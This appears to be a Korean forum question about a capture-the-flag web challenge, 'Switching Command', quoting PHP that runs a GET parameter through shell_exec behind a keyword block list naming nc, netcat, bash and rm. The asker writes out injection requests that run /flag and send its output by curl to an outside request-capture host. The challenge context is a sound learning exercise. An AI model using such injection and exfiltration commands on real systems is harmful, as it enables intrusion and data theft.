Switching Command 질문 있습니다.
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';

if($_SESSION["auth"] === "admin"){

    $command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
    $sanitized_command = str_replace("\n","",$command);
    if (preg_match($pattern, $sanitized_command)){
        exit("No hack");
    }
    $resulttt = shell_exec(escapeshellcmd($sanitized_command));

}

위 코드는 test.php 코드의 일부입니다.

test.php 파일에서 cmd를 GET 방식으로 받습니다.

/flag를 실행하고 이 실행 결과를 curl로 전달받도록 명령어를 작성했습니다.

/test.php?cmd=./fla* > result.txt
/test.php?cmd=curl -F "file=@result.exe" https://bjljqzd.request.dreamhack.games -o result.txt

잘못된 부분이 있을까요?

#web
작성자 정보
답변 1
avatar
🐰
Lucky 7

우선... escapeshellcmd로 인해 > 문자 앞에 백슬래시 문자 \가 옵니다.

escapeshellcmd 함수의 실행으로 꽤 많은 문자들이 사용 시 제약을 받습니다.

2024.03.29. 19:31
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기